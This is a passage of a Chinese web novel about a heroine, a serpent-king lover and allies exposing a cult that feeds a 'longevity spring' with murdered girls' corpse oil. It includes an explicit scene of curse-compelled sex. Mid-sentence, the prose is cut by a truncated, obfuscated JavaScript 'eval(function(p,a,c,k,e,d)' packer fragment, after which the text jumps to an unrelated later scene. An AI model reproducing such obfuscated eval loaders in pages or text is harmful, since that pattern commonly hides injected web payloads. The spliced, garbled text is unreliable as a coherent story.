长生宫里的所有谜团都有了答案后,我和银杏、蛇王大人离开了玉女殿,留阿乞一人在殿中与自己心心念念的姐姐说话。 回到我们暂住的小房间,银杏趴在桌子上心里不平衡道: “凭什么族人追求长生,就要害死这些无辜女孩。明明长生泉是靠玉女们的尸油供养,可到头来功劳全被宋花枝那个女人给领了!踩着别人的尸骨一步步登向高处,她真的心安吗?” 我扯了扯衣领,突然觉得有些热,“她这个人压根没有心,还怕什么心不安吗?” 银杏疲惫地叹了口气,一脑门子砸桌上,静了静,又说:“阿乞和白蝴蝶口中的紫月……该不会是我们认识的紫月吧!” 不知怎么回事,眼瞅着都要天亮了,我却越来越躁得慌…… 难受地脱掉外衣,我将合拢的领口扒开些:“嗯,整个阴苗族,也就只有这一个叫紫月的。” 银杏冷笑两声:“他倒是会躲,这些年但凡他在,你母亲也不至于这么肆无忌惮。” 有凉风灌进衣领,我还是热,微微喘着气,我忍无可忍地问趴在桌上的银杏:“银杏你热吗?为什么我全身难受……” 奈何银杏这家伙许是太累了,这会子已经紧闭双眼,秒进深眠状态了。 我干涩的喉头哽了哽,也趴回桌子上,心底默念:心静自然凉、心静自然凉…… 但,热意笼罩全身后,我忽又有种,小虫在骨头里肆意攀爬的感觉。 浑身骸骨都酥酥麻麻的。 这很不对劲…… 我双手撑在桌子上想站起来,可,一时竟浑身无力…… 蛇王大人还在门口吹风,我连跑出去向他求救的体力都没有。 更让人心跳加速的是…… 仿佛有片羽毛,一直在扫拂我的身体,专门往不该碰的地方冒犯。 小腹烫意渐深。 这种感觉,现在是凌晨……难不成又是双生蛊在影响我? 不知是不是我的错觉,我好似隐约听见,有狐狸的叫声从很遥远的地方传进我耳中…… 狐狸…… 灰狐仙! 身体的异常反应令我又惊又怕,我好像,愈发控制不住自己的欲念了。 疯狂想有个人,亲亲、贴贴…… 不行,再忍下去我怕是要失去理智了! 憋也会把我憋死! 现在能救我的,只有蛇王大人…… 我咬紧下唇,猛地喘息两口后,手臂艰难撑着桌子,满头大汗地朝门口抖着细弱嗓音喊道:“蛇王、大人……救我。” “青漓,救我!” 我气若游丝地张嘴,即便使出了全身力气,也只能喊出细若蚊呐的几个字眼…… 但幸好,尽管我的声音弱,他也还是匆忙赶回来了! “阿鸾!”男人骤然出现猛地抱住我,身上在外沾染的寒意竟令我瞬间好受了几十倍! 像只濒死的鱼儿总算得到了清水的滋润,我双手不受控地搂住了他的脖子,肆意将滚烫的唇往他白皙脖颈上贴…… “青漓,我不行了……我难受。”我哆嗦着说完话,喘息剧烈地将指尖探进他的衣襟。 他握着我的腰窝,见我这样,俊脸陡然酡红。 擒住我胡作非为的那只手,他担忧的哑声问:“阿鸾,你怎么了?” 我失去理智,不依不饶地胡乱扒他衣物,心脏里像有无数只蚂蚁在疯爬,骨子里酥到发狂,燥热煎熬的贪婪往他怀里蹭,委屈的拖着哭腔向他告状:“热……不知道、是不是双生蛊……” 他温柔抬掌按住我乱蹭的脑袋,被我这么一勾引,胸膛间的起伏亦是猛烈沉重了许多。 浅声安抚我:“双生蛊早在你闯入本尊洞府,与本尊洞房那夜,本尊便已给你解了……” 大手试了试我灼烫的额温,他忽地眸光一沉,眼底透出凌冽寒意。 “竟是那只死狐狸动的手脚!”他愠怒沉斥。 “死狐狸……”我勉强还能保持三分清醒,浑身湿漉漉的,咬牙难熬追问:“是、灰狐仙?” 他握着我的腰窝,将黏在他身上的我打横抱起,带出房间。 “此乃,鸳鸯缠。是一种被烙进神魂的妖术,中术者,发作起来需与男人同房,且中术后的第一个男人,会是她一辈子的解药…… 简单来说,此术,能将女人永远捆绑在男人身畔,若女人变心、或是长期不与解药同房,女人就会痛苦至极,饱受磋磨后,暴毙而亡。” 我急促地喘息浊气,偎在他怀里恶心骂道:“这不就是长效催欲药吗!那条死狐狸手段真低劣阴险!” 他抱着我走到庭院的风口,夜晚的凉风灌进我半敞的衣领,虽然勉强驱散了我体肤表面的几分灼热,但,根本压制不住我灵魂深处的汹涌欲火! 我撑不住的不自觉昂头,焦急地去吻他脖颈,企图用这种方式让自己好受些。 手灵活地探进他衣襟,恍惚片刻后,猛地察觉到,自己的指尖已经触碰到他坚硬光滑的微凉胸肌了…… 脑子里轰的一声,乱成了一团。 可偏偏,此时与他肌肤相亲,却撩得我灵魂深处的那股无形力量涌动地更是凶猛…… 好热,好酥,好想扒光他…… 他被我折腾得呼吸沉沉,俊脸潮红,抱着我在一块巨石上坐下,箍着我的腰,将我放在他的膝上,护进他的怀里。 “那只畜生应是给每个看上的女人及母狐都下了这邪术,为的,就是将她们永远禁锢在自己身畔。 而他给你下了鸳鸯缠之后,却没来得及动你,所以这鸳鸯缠才会残留在你体内,至今才发作。” “这么说……如果当时你没有及时现身打跑他,把我从狐狸洞里救出来,我要是真被他占了身子,岂不是这辈子都只能做他的、禁奴?!”我又急又气,恼得眼眶发烫。 男人深吸一口气,按住在他怀里不安扭动腰身的我:“嗯。” “这只、死狐狸!”我痛苦怒骂,忍得全身衣物都快被热汗浸湿了…… “今晚,可能是他设法在寻你,这只畜生盯上你了,才故意设法催你体内鸳鸯缠发作。” “他不是被你打跑了吗?还敢、来找我?!” 男人轻抚我的后背,给我顺气:“狐狸狡猾,他盯上了你,势必会想方设法骗到你的身子。” 我听见这话,硬是被吓得打了个冷战,抱住男人脖子疯狂求救: “我不要变成狐狸的女人,我不要被狐狸睡!蛇王大人,你救我,青漓,你不救我,我就要给你戴绿帽子了!” 抓住他的一只手,我怕得差点哭出来,脸颊发烫、心底发燥的张唇含住他的指尖吮吸…… 红着耳根,卑微祈求:“蛇王大人,你帮我解鸳鸯缠好不好?” 第31章 要么憋死,要么与本尊同房 他闻言,幽青深眸里顿时洇出丝丝欲色,指尖猛地一抖,性感的喉结滚了下,抱着我眼尾猩红的凝声道: “本尊……给你两个选择,一,你忍半个月,半个月内本尊定能为你找到解鸳鸯缠的办法。” “半个月?”我顿时觉得、天都要塌了!发作一次我都快被折腾得没了半条命,更何况是半个月,十五天啊! 万一那死狐狸以后每夜都害我发作一次,我就算不被憋死,也被熬死了! “当然,本尊也不能保证,这半个月内,你会不会因鸳鸯缠发作爆体而亡。毕竟,鸳鸯缠发作三次若还不能与男子同房,你便会死。” 我:“……” 那你还说出这个选项有什么意义! “二,本尊与你同房……但,鸳鸯缠是狐族秘术,一旦阴阳相合,就再无解术之法。 你以后,每隔一段时间,必须得主动来找本尊同房。” 我再度噎住。 这样,我是不是,一辈子都摆脱不了他了…… 就算他真是杀人不眨眼十恶不赦的青蛇大妖,我也得老实跟着他,给他做老婆? 他哪里是在让我选怎么解鸳鸯缠,他分明是在询问我,是让灰狐仙给我解鸳鸯缠,还是让他给我解! 不过……我痛苦地往男人玉白脖颈里蹭,干涩的喉头哽了哽,昂起脑袋无语看他…… “没有鸳鸯缠……你就不会动我的身子吗?” 男人眸底欲色漾开一道暧昧涟漪,低头俯视我,没良心地皱眉:“有没有鸳鸯缠,你都是本尊的女人。” 我噎住。 那还问个毛线啊! 我既不想死在野狐狸的床上,又不想爆体而亡,眼下唯一的选择……就是让他给我解。 但,一旦他成了我的解药,我就这辈子,也离不开他了…… 身上愈发灼热的体温似在催促着我早做选择,我难受的愈发控制不住自己的行为,手在他身上胡乱游走…… 想扒了他的冲动,愈加强烈! 算了,未来的事,未来再想,眼下当务之急,是要先保住小命! 左右……蛇王大人对我还不错。 与那条死狐狸相比,我还是更愿意和蛇王大人做这种事。 我闭上眼睛,心中有了决定后当即抱住蛇王大人的脖子,主动吻住了蛇王大人的唇,嘤咛着给他回应:“我、要你……” 他得到答案,略为意外地怔了怔。 片刻后,搂紧我的腰肢,大掌按在我的脊背上,用力推揉,仿佛要将我发烫的小身板按融进他骨血里。 肆意张扬地回应着我意乱情迷的吻,他突然撩开我的衣摆,大手探迎进去…… 狠狠吻了我半分钟后,银发古袍的男人蹭着我的鼻尖,吐息如兰,小声说: “最近两日,还不行,本尊不能近你的身。再等等,待本尊撑过这一劫……便来给你解鸳鸯缠。” 撑过、这一劫? 我上气不接下气地醉眼迷离抬眸看他,他再次将我按入怀,一边深情吻我,一边用另一种方式安抚我。 “乖,这样也能为你纾解欲念……” “忍不住,就叫出来,别怕……” 然,真当我无意识地轻吟出声时,他却按着我的脊背,将我的所有怪异呻吟全都侵吞入腹…… “蛇王大人……” “鸾鸾……” “青漓……” “嗯。” 不知过了多久,隐约记得……好像有五六次了。 身上的热意消退,我靠在他的怀里,大汗淋漓地喘着粗气,安静合眸,休养生息。 寒月高悬,他抱着我坐在树下,温柔抚了抚我留有余热的脸颊…… 我累得实在熬不住,便倚在他怀里睡着了过去。 半梦半醒时,我忽感觉,自己被人放平在了巨石上…… 紧接着,有条凉凉的东西,攀上了我的身体。 缠住了我的身子…… 男人磁性沙哑的嗓音在耳畔温和响起:“乖,还差半个时辰。” 轻薄的纱裙被风掀起。 睡梦中,我隐隐感应到,有股凉意融入了我的身体。 勾得我背上薄衣湿了又干,干了又湿。 耳边风声呼啸,树叶沙沙。 落叶拍打着清澈水面,溢出桃红满地…… 一夜流水潺潺。 直至天明才风平浪静。 …… 上午十点,阿乞带我们撬开长生宫的后门,一路直上半山腰,走了半个多小时,才顺利进入长生泉禁地。 长生泉的泉源是方占地约半亩的小水泽,泉下有三处活泉眼,位于泉水正中方位,此时正咕咚咕咚往水面翻着氤氲水雾。 阿乞用手掬了一捧泉水,送至鼻尖嗅了嗅,断定道:“这水里,的确加了尸油!而且,还有另一种蛊,不过,我暂时分辨不出是什么蛊……” 银杏蹲在泉边重重叹口气:“所以,阴苗族的族人能得以延年益寿,是因为大祭司用阴命女炼尸油……那大家喝的长生泉水,岂不是那些阴命女的尸水?!” 阿乞嫌弃地将泉水洒回长生泉里,双手往粗布道袍上擦了擦:“银杏姐,你喝过长生泉水吗?” 银杏摇摇头:“我爸早就觉得这水有古怪,我们父女俩从没沾染过这水。” 阿乞接着又问我:“镜镜姐,你呢?” 我也摇头:“我外婆是前任大祭司,她说我年纪轻轻不需要喝这玩意。” 银杏接上: “从前我和镜镜也怀疑过这泉水里是不是被人加了什么秘方,但又觉得不太可能,毕竟这里是阴苗族,那么多懂蛊会看事的高人在,水里真掺有东西,不可能没人察觉。 所以我们后来就感觉,可能是这边的泉水灵气较重,加上,真有玉女在供养长生泉,可能宋花枝的确有能让人延年益寿的本事,故此我们就没有多怀疑…… 而且长生泉一直都是大祭司与宋花枝在守着,我们这些普通人平时是不被允许靠近此处的。 你们阴苗族的大祭司总不至于害了你们全族,我们喝不喝,是我们自己的选择。” “水里掺了东西……还真会把所有人蒙在鼓里!这些尸油与另一种蛊融合,另一种蛊就会将尸气掩盖,让人误以为水中的尸气是灵气。 阴苗族的确人人懂蛊,多是看事高人,可你们却忽略了一个问题。阴苗族除了老祭司,就数大祭司最会炼蛊,老祭司退位之前,可是将毕生巫术及炼蛊之术全都传给了大祭司。 现在论炼蛊,阴苗族的所有族人,谁能炼出比大祭司还厉害高等的阴蛊?大祭司的阴蛊,骗骗这些族人轻而易举。” 阿乞说着,揉了揉鼻头委屈吐槽:“要不是我跟着师父修炼多年,师父的巫术专克大祭司,我也闻不出这水里有尸油!” 他话音刚落,银杏就激动询问:“你师父、是紫月?!他舍得出关了?” 阿乞低头喃喃:“你们也别怪他撒手不管事,放任大祭司在族里胡作非为,他闭关是有苦衷的。” 银杏却并没有追究他这一点,反而亢奋道:“这么说,前几天我在阴苗祖祠禁域里碰见的男人真是他了!” 我越听越糊涂,不解地问银杏:“你见过紫月了?” 银杏当即连连点头: “对!上次我偷溜进祖祠,本来是想翻看村志的,谁知却误打误撞掉进了安放阴苗族秘卷的禁地,我差点就死在了禁地里的机关暗器下。 危急关头是一名紫袍仙人现身出手相救,这才保下了我一条小命,也是那名仙人设法指引让我看见了圣女秘卷上的记载!” 一把抓过我的手,银杏着急与我说: “镜镜,你也是圣女,你是双生圣女!你母亲这样急着铲除你,就是想让你姐姐抢走你身上的这一半圣女气运! 圣女秘卷上说了,凡双生圣女,气运各分一半,唯有双生姐妹联手,才能真正造福阴苗族,否则单靠一位圣女,圣女的力量是不完整了。 除非,二者死其一,死掉的圣女体内气运会自行回归到另一名圣女体内,这样便能保阴苗族永世安稳! 从来不是你抢了你姐姐的气运,而是这些气运本就属于你,你本就也是圣女,是大祭司和宋花枝想抢你气运!” “双生圣女?”我后知后觉地反应过来:“你那天说的都是真的?” 银杏抽了抽嘴角,憋屈瘪嘴:“要不然,还会是假的?” 我呛住:“我以为你只是为了唬人逼他们放了我,才那样说的……” 银杏脸黑,生气地用胳膊肘轻轻撞了我一下:“我是那么聪明的人吗?” 我:“……” 第32章 昨晚……也没有很过分 我竟无言以对。 安静许久的阿乞沉沉开口: “那天你见到的,就是师父。银杏姐姐没说错,镜镜姐,你是大祭司的女儿,确实该是双生圣女。” “你……”我望着双眼红肿的阿乞欲言又止。 阿乞稳重道: “我知道你想问什么,我师父也晓得你是双生圣女……之所以没有出面替你撑腰,为你证明身份,一是因为你本就是大祭司的女儿…… 大祭司对你有生身之恩,她执意要放弃你,师父也没资格阻拦。二是因为,老祭司生前的心愿,是让你做个快快乐乐的普通人。 老祭司不想让你做圣女,当圣女,表面风光,实际上阴苗族有个风吹草动,圣女都要第一个被推出去。 老祭司说你生性善良,不像你姐姐那样自私,你做了圣女迟早会被某些贪心的人啃噬得连渣都不剩。 而且,你姐姐有母亲,你没有。” 我低头僵住,原来外婆什么都知道…… 是啊,我没有母亲,我只有外婆。 外婆她老人家也清楚,她护不了我一辈子。 大祭司不让我做圣女,是怕我抢了她宝贝闺女的风头。 外婆不让我做圣女,是想保我一生无虞。 可外婆现在走了,不管我有没有主动和宋花枝抢,大祭司都容不下我了。 银杏见我伤怀,体贴地抱住我胳膊温声安慰:“镜镜没事,都过去了。咱们尽快解决长生宫的事,回去给老祭司过头七!” 阿乞凝声问我们:“接下来怎么做?我听你俩的!” 我定了定心神,认真道:“先把玉女殿的禁制破了!明天就是二月二十六,我们赶在族人们上山之前,把这个害人的长生宫给拆了!” 银杏亦是坚决赞同:“对,阿乞你不是想带你姐姐回家吗?我们也带剩下的姐妹回家!我们拆了长生宫,再把大祭司和宋花枝的罪行公之于众!” 阿乞攥紧双手,重重点头:“好!” 我们三人达成共识后,就赶忙下山再原路返回,从长生宫后门溜进去…… 只是刚回到长生宫,我就脑中猛地一阵眩晕。 差点没站住脚! 银杏扶住我担忧道:“镜镜,你怎么了?是不是哪里不舒服?” 我捂着脑袋晃了晃,低声回她:“我没事。” 阿乞伸手摸摸我的额,猛吸一口冷气:“怎么身体这样虚弱?长生宫内的阵法对镜镜姐的影响越来越严重了……” “阵法?”银杏低声质疑。 阿乞点点头:“你别忘记了,镜镜姐是第十八位玉女,她在进长生宫时,生辰八字就已经被宫里的阵法锁定了。活人进长生宫,会被强行剥离魂魄,所以才会暴毙而亡!” “那镜镜岂不是不能在这里久留?”银杏关切道。 阿乞嗯了声:“镜镜姐需要在今晚子时之前离开这里。” 我等眩晕感缓和了些,才说:“那咱们就在今晚子时之前,先把玉女殿的阵法给破了,带那些无辜姐妹回家!” 阿乞深呼吸,立直身子颔首,抬指掐算一番,道: “今天傍晚的五点到七点,是今天一天内阴气最重的时辰,届时姐姐她们的意识会最清醒,控制她们的阵法相对会力量减弱,正适合我们动手!” “行!那就五点动手!”我决定道。 阿乞想了想,又不放心地昂头看着我和银杏,低声问: “你们,真的会帮我和姐姐吗?我一个人,破不了这个大阵……你们如果肯竭尽全力的助我,我们就有七成成功的可能。” 银杏仗义挺胸,拍着胸脯答应道:“当然会帮你!从小我爸就教育我,强者,生来就是为了保护弱者!人鬼妖魔也分好坏,撞见坏的,我们要拼力一搏,撞见好的,我们也要尽力相助!” 我轻声打消阿乞的顾虑:“如果我们真是那种只想着独善其身的人,刚才就不会再跟你回来。” 阿乞哽住,愧疚地瞧着我俩,虚心认错:“对不起,我只是太害怕了。” “没关系。”我伸手摸摸少年的头,淡定安排:“你先去准备,顺便提醒那些女孩一句,等太阳下山我们就干活。” “好!”阿乞打起精神,听完我的话扭头就冲去玉女殿找他姐姐了。 我和银杏则先回落脚的小屋子缓口气。 进屋后,银杏跑去外面捡树枝,打算在屋里烧点开水。 我腰酸腿软的在圆桌前坐下,颓废的一头砸在桌子上…… 刚缓上两口气,就感觉到腰上一暖。 有人体贴地给我揉捏腰肢。 我没有回头,立马就猜到了身后站着的是谁。 想起昨晚的事,我不自觉地红了脸,丢人地嘟囔抱怨:“你、怎么能趁人之危呢!” 帮我揉腰的男人低低反问,嗓音轻柔好听: “本尊如何趁你之危了?昨晚,分明是你自己做的选择,怎么,现在不难受了,便后悔了?” “不是……”我羞窘地捂脸,尴尬控诉:“那你也不能直接、用手、啊!” 男人在我腰上揉捏的动作一顿,随即弯腰,故意附在我耳畔,用暧昧灼热的吐息撩拨我:“那夫人、想让本尊用什么?” 我猛地呛住,差点一口气没上来。 脸皮都快烫掉了一层! “我我我、”我双手捂脸欲哭无泪:“你别太过分!” 他语调轻软,故作不知:“本尊记得,本尊昨晚也没有很过分……” “还不过分?”我羞得都快无地自容了:“你上手也就算了……” 第33章 他就是馋她身子! “还伸尾巴!” 呸,老色批! 男人听罢,竟厚着脸皮将另一只手也握在了我的腰窝上。 腰身两侧皆是一片温暖。 “总要找个代替品,不然,夫人是想被鸳鸯缠折磨的暴毙而亡么?” “……” 他总有一百种理由堵我的嘴。 薄唇啄了下我的耳尖,惊得我浑身起鸡皮疙瘩。 他没心没肺地接着又逗我: “更何况,即便伸…… 那样,不是也还在夫人能承受的范围么? 本尊有分寸。” 我一怔,差点被自己的口水呛死。 他怎么能说出、这么无耻的话! 我又羞又恼地忍无可忍转身,壮着胆子一拳擂他胸口上,红着脸生气:“你做个人吧!我一肉体凡胎,**怎么办!” 他挑眉,眼里噙着笑意,嘴上却毒得很:“**就再换一个。” 我:“……” 呜呜呜,我就知道,这王八蛋就是馋我身子! 臭青蛇,老娘一定赶在你把我换掉之前,先换掉你! “呦,夫人这般气恼么?连眼角都气红了。”他伸手来抚我眼尾。 我反手又是一拳擂在他胸口,这次,比上回用猛了几分力气。 谁让他说**就把我换掉的,我是人! 无论在他眼中,我是什么样的存在,我都是个有血有肉,有生存意义的人! 只不过……这回好像用力过度了。 我一拳砸过去,他竟疼得脸上一青,皱眉闷哼了声。 “你怎么……” 我心下一慌,刚想扶他,就忽然意识到他可能是装的。 我立马收回扶他的手,冷哼一声: “蛇王大人你什么时候这么弱了,我砸你一拳就把你砸伤了?嘁,我才不信,我要是真有这本事,就不用怕那条死狐狸了,蛇王大人,耍我很好……” 话没说完,我的余光就扫见自己手上……有血! 再去看他胸口,墨青色的衣袍上也有血! 不是装的? “蛇、蛇王大人你怎么了?!” 我这次再也不敢怀疑他了,握住他的胳膊,现在才发现他的脸色很差,面容苍白,薄唇发青,额角还挂着几滴晶莹的冷汗。 “你、没事吧?你是不是胸口有伤啊?怎么不早说……我真不是故意的。”我搀着他胳膊恐慌解释。 他抬起突然变成暗金色的竖瞳,看着我担心惊惶的样子,嗤笑一声,喃喃自语:“阿鸾……你是担心我,还是怕我**,没人保护你了?” “我、” 一句话问傻了我。 这都什么时候了,他问的都是些什么问题啊! 见我回答不上来,他失望阖目,勉强扬起唇角。 抬手刮了下我的鼻梁, “还真是个小没良心的!罢了……指望不上你!” 话说完,瞬间化成一道青光飞进我无名指上的戒指里。 “本尊要静养调息,不许打扰本尊。” “啊?” 静养调息…… 这时候躲起来,我还想着晚上拉他一起帮忙呢。 视线落在我染血的手上…… 我不禁有些愧疚。 他都受伤了我还砸他,甚至砸了两拳。 我还不相信他…… 难怪,他会嫌我没良心。 —— 下午,阿乞不知从哪搞来了一堆红烛,拉着银杏一起用蜡油把红烛焊在玉女殿外的水泥地面上。 最后一根红烛焊完,九百九十九支红烛在玉女殿外围成一个圈。 阿乞站起身,抬脚将装满黄纸元宝的竹筐往外边踢了踢,认真闭上眼,掐诀念咒:“天门开,神门开,五雷大帝神力来,驱灵祟,斩邪阵,请助弟子破巫关!” 念完,从腰间挎包里抽出一张黄符,用指尖夹住,往红烛上方一甩。 黄符便立时自燃了起来。 符纸烧掉一半,而半边灰烬却未掉落。 阿乞小心翼翼地弯腰,将符纸放进盛满水的瓷碗里。 碗中凉水吞没舔上赤色符文的火舌,另半边黄纸的灰烬在融入水中后,却显现出了完整的灵符轮廓。 灰烬拼凑出的下半截,朱砂绘出的符文竟完好无损,且还在水下发出了赤红色灵光。 银杏伸着脑袋惊讶看眼前这一幕,意外道:“你也会这一招!” 阿乞得意直起腰身,“那当然,我虽然没有李叔本事多功力强,但好歹也是正统的道门弟子!” 银杏听完更疑惑了:“你师父是阴苗族,修**的是阴苗巫术,怎么还能教你道术?” 阿乞拍拍衣裳说: “因为师父是巫道双修。师父年轻的时候曾留在隐世高人身边做了八年的关门弟子,后来那位高人说要回去参加师伯的婚礼,结果出门后就再也没回去了。 高人半年后传信给师父,说观内缺人干活,师伯师兄死活不让自己再回去躲清闲了,于是就嘱咐师父自行离山,从哪来回哪去。 师父本想去投奔高人的,但高人说师父尘缘未了,让他顺应天命,回阴苗族承担起自己的责任,这不,师父就滚回来了。” 银杏叹口气,感慨不已:“想当年他在时,大祭司怎么敢这么肆意妄为。他后来为什么突然闭关了,一消失就是十九年?” 阿乞想了下,摇头: “我也不知道,三年前我拜在师父门下,这三年来师父把他能教的都教给了我,他还说,他是将我当做继承衣钵的弟子培养。 我离开姐姐,也是因为师父说,家人在侧难免会让我分心,不好好修炼。要想早日修得正果,必须得与尘世隔离。 我也问过师父,为什么好端端的要闭关这么多年,师父每次都是盯着我欲言又止…… 不过,我总感觉师父闭关是有什么不得已的苦衷。姐姐出事的时候,师父应该是感应到了。 那段时间师父很不正常,总是一个人半夜站在崖口的梨花树下发愣,然后,就更加着急地教我巫术与道法。 这一年来,师父每天都会教我一个新本事,但一天时间根本不够我消化那些内容。所以,这一年来我学的所有本事,有一大半,都是只知修炼的方式,却没有炼成。 我也和师父反映过,求师父慢些教我,可师父总说,趁着他在就多教我些,没炼会也没关系,反正我的未来人生还长,还有大把的时间可以参透…… 我总觉得,师父这一年,像是在赶工完成什么任务。” “可能是你师父知道,一旦你回到阴苗族,得知你姐姐的死讯,你就不想再回去跟着他清修了,所以才急着在一年内把该教的都教给你。”银杏合理猜测道。 阿乞赞同的点点头:“可能吧。” 我放眼看向圈住整座玉女殿的红烛大阵,再加上阿乞先前就洒好的S形贯穿玉女殿的朱砂粉,远看,正好能凑个八卦图案。 “这个阵法,能破掉玉女殿里的红线阵吗?”我担忧问。 阿乞拍拍手,说:“红烛阵与玉女殿内的红线阵是一个属性,但红线属阴,红烛与朱砂属阳。以阳破阴,是唯一的办法。” 银杏深吸一口气:“能不能破掉红线阵,先试试再说!” “有七成把握。”阿乞突然咬破右手中指,滴了一滴血,坠进浸泡黄符的蓝边瓷碗,迅速扩散于黄符水中:“再加上我这个纯阳八字的童男指尖血,有九成把握。” “那就是稳操胜券了。”我松了口气,片刻后,又皱眉思忖:“不过,想破阵,攻击阵眼是最简单,也是最有用的法子,阵眼你找到了吗?” 阿乞颔首: “中午我和银杏姐将玉女殿里里外外仔细检查了一遍,发现阴气最强的地方,是缠绕红线的那根房梁。 只要等会儿太阳下山,我用红烛阵破了红线阵对玉女姐姐们的禁制,再赶在第二重阵法启动前,将整座玉女殿给烧了,就不用再费心去破第二重阵法了。 玉女殿被烧,房梁遇火,红线阵就会彻底失效,大家就都自由了!” 阿乞说完,又挠了挠脑袋惋惜道: “可惜咱们手上没有火油,如果有油浇上去,加快烈火烧毁房梁的速度,咱们就会顺利很多。现在还得思考从哪个方位烧,才能让火势更猛烈,更快速地烧断房梁。” 火油…… 我镇定道:“没关系,我有炽火蛊!” “炽火蛊?” 阿乞错愕道: “你怎么连这种稀奇古怪的蛊都有?炽火蛊我只在师父给的蛊类百科大全书里见过记载,上面讲炽火蛊属于上古时期的古老蛊种,炼制法子 已经失传了,不过师父说这些蛊种学着用处不大,所以不必在上面浪费时间,学炼阴蛊,应该学那种一招毙命,或者起死回生的蛊。没想到,你竟然会炼这种蛊,难道老祭司还保留炼这些古老蛊种的办法?” “当然不是,炽火蛊是我家镜镜自己研究出来的。” 银杏一脸骄傲地显摆道: “不仅是炽火蛊,旁的上古蛊种,像什么汲水蛊、返春蛊、控尸蛊、等等等等,我家镜镜都会! 这些蛊术的确已经失传了,镜镜是自己按照书中记载,再设法用各种蛊料实验,才摸索着炼出来的。 但是,有一点的确很奇怪,同样的方式,我就炼不成这些蛊。” 阿乞认真思考了一下:“可能,这就是圣女的独特之处。” 我不以为然道: “你师父说得对,这些蛊用处的确不大。 而且炼制起来并没有什么难度,失传可能就是因为祖先们只保下了比较厉害的蛊种,觉得这些无关紧要就没有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“二十二年前,圣女宋花枝出生当夜有凤凰接引,暴雨骤停,自那以后阴苗族就有圣女乃是神娘娘转世的传闻。 最初这个传闻还只是传闻,族人们对传闻的相信度并不高。 可随着宋花枝渐渐长大,面容与庙里的娘娘神像愈发相似,她是神娘娘转世的传闻似乎就在族人们的心里得到了印证。 我十八岁那年,大祭司说什么在九黎山上发现一处灵泉,灵泉得圣女之力供养,可令族人百病尽褪,诸邪不侵,而且还能延长寿元,假以时日能令族人皆得长生,永葆青春。 但需要每年四月二十六往长生宫送一名未婚纯洁的玉女,这样才能以玉女纯洁之身保证长生泉的灵气纯净。 族人们一听说可获长生,就在大祭司选中我后,立马逼我爹把我的尸体交出去。 我的尸体,是大祭司派长老会的打手当着我爹的面抢走的,那些被大祭司当猴耍的族人也是帮凶。 他们一个个扯着我爹的手臂,拦在我爹的面前,我爹反抗得厉害,后来他们索性就对我爹拳打脚踢,怪我爹阻了他们得长生。 我爹打那以后,就一病不起。我被带入长生宫后,就被大祭司下令炼了尸油,起初我的尸油融进长生泉里的确能为人治病,但是效果略微。 直到宋花枝十二岁那年,她额间突然生出了凤凰印记,一夜之间,整个阴苗族都相信了她是神娘娘转世,而她也为了笼络人心,在娘娘庙中起誓一辈子不嫁人,以纯洁之身供养长生泉。 也是从那年开始,她每年四月二十六清晨都会去长生泉里洗澡,族人们则在长生宫上香祭拜皇天后土。” 白蝴蝶嗤笑一声,“我也是因为被大祭司选上,才病重吐血而亡,生前被人算计,死后还要被囚在此处给人为奴为婢。” 赵元儿也悄然冒了出来: “我和月亮姐姐来的早,最开始这长生殿里供奉的乃是天地神位,直到十年前,宋花枝额前生出凤凰印记后,大祭司才命人连夜做出这尊神像。 这尊神像表面像神娘娘,实际上却是宋花枝本人。大祭司囚禁纯阴女的灵魂,一部分原因,是纯阴女体内灵气重,我们每天夜里都要被汲取灵力通过这尊神像输进宋花枝的体内。 这些年来我们表面是在供养长生泉,实际上却是在供养宋花枝! 她夺走我们身上的灵气时,会让我们犹如被千刀万剐,痛不欲生。 而这样的磋磨,我们受了数千次!” 刘月亮深叹道: “也是自圣女开始以纯洁之身供养长生泉那年起,长生泉的泉水效果愈发显著。 不少瘸子瘫子都因喝了长生泉的泉水而恢复健康,族里不少大限将至的老人,就因为年年饮用长生泉水,至今还健在。” 第34章 破了长生宫结界 “长生泉里除了你们的尸油,还有别的东西?宋花枝真有能让人长生不老的本事?” 银杏摸着下巴琢磨:“我怎么觉得哪里不对劲呢?” “长生泉里只有我们的尸油,宋花枝根本没有令人长生的能耐!” 白蝴蝶冷哼一声,“大祭司苦心设计这么多,不过是想让自己的女儿坐享其成,坐稳圣女的位置罢了!” 刘月亮沉沉道: “长生泉水突然效果显著,是因为在圣女没有以纯洁之身供养长生泉前的那几年,大祭司只往长生泉里加了几滴尸油。 之所以选择在圣女十二岁那年令长生泉的泉水突然有奇效,一是因为,那年是第八年,攒够八名纯阴女的尸油,加以巫术炼化,尸油会更养人。 二是为了,给族人们营造对比,只有这样,才更能突出圣女的神通广大。” 白蝴蝶道: “长生泉本就是灵泽深厚的灵泉,倒入八名纯阴女的尸油,会有让生恶疾之人一觉醒来彻底痊愈的奇效。 去年我进来时,还偷听到圣女和大祭司说,等今年的玉女进来,集齐十八名玉女,长生泉就能让人返老还童。 可笑的是,族人们现在还把长生殿里的宋花枝当神娘娘拜,前一段时间我们闹得凶了,他们竟在长生宫外给宋花枝上香。” “这么多年了,族人们早就接受了宋花枝就是神娘娘转世的设定,根本不会有人在意宋花枝与神娘娘的不同之处。大祭司就是利用这一点,才光明正大帮宋花枝偷神娘娘的香火。” 赵元儿死死盯着殿内的神像,冷笑连连: “什么狗屁神娘娘转世,连让人长生都做不到,这尊神像我早就看她不爽了,可惜我们无法靠近它,不然我非将她砸得稀巴烂!” 向来稳重的刘月亮突然转身看我,语气淡淡,字句却犀利: “若我们这辈子真有命逃出去,我们定要宋花枝与大祭司母女也尝一尝夜夜被千刀万剐的滋味。若我们没这个命,鸾镜圣女,求你,一定不要放过她!” 尸体被人当血包用,功劳还全都被别人顶替了。 那人连她们的灵魂也不放过,吸她们的灵气,还要把她们炼成没有自主意识的灵魂空壳子。 分明就是踩着她们的尸骨步步登天,这事换做谁,都无法不恨。 “别害怕,阿乞会带我们逃出去的。”我拉过刘月亮苍白冰冷的手,认真握在掌中。 刘月亮扭头看了眼西斜的落日,沉默良久,突然变出一枚平安锁放进我手里: “若是我出不去了,你替我把这枚平安锁转交给我父亲,告诉他,别想我了,要好好活下去。月亮不孝,下辈子再报答他的养育之恩。” 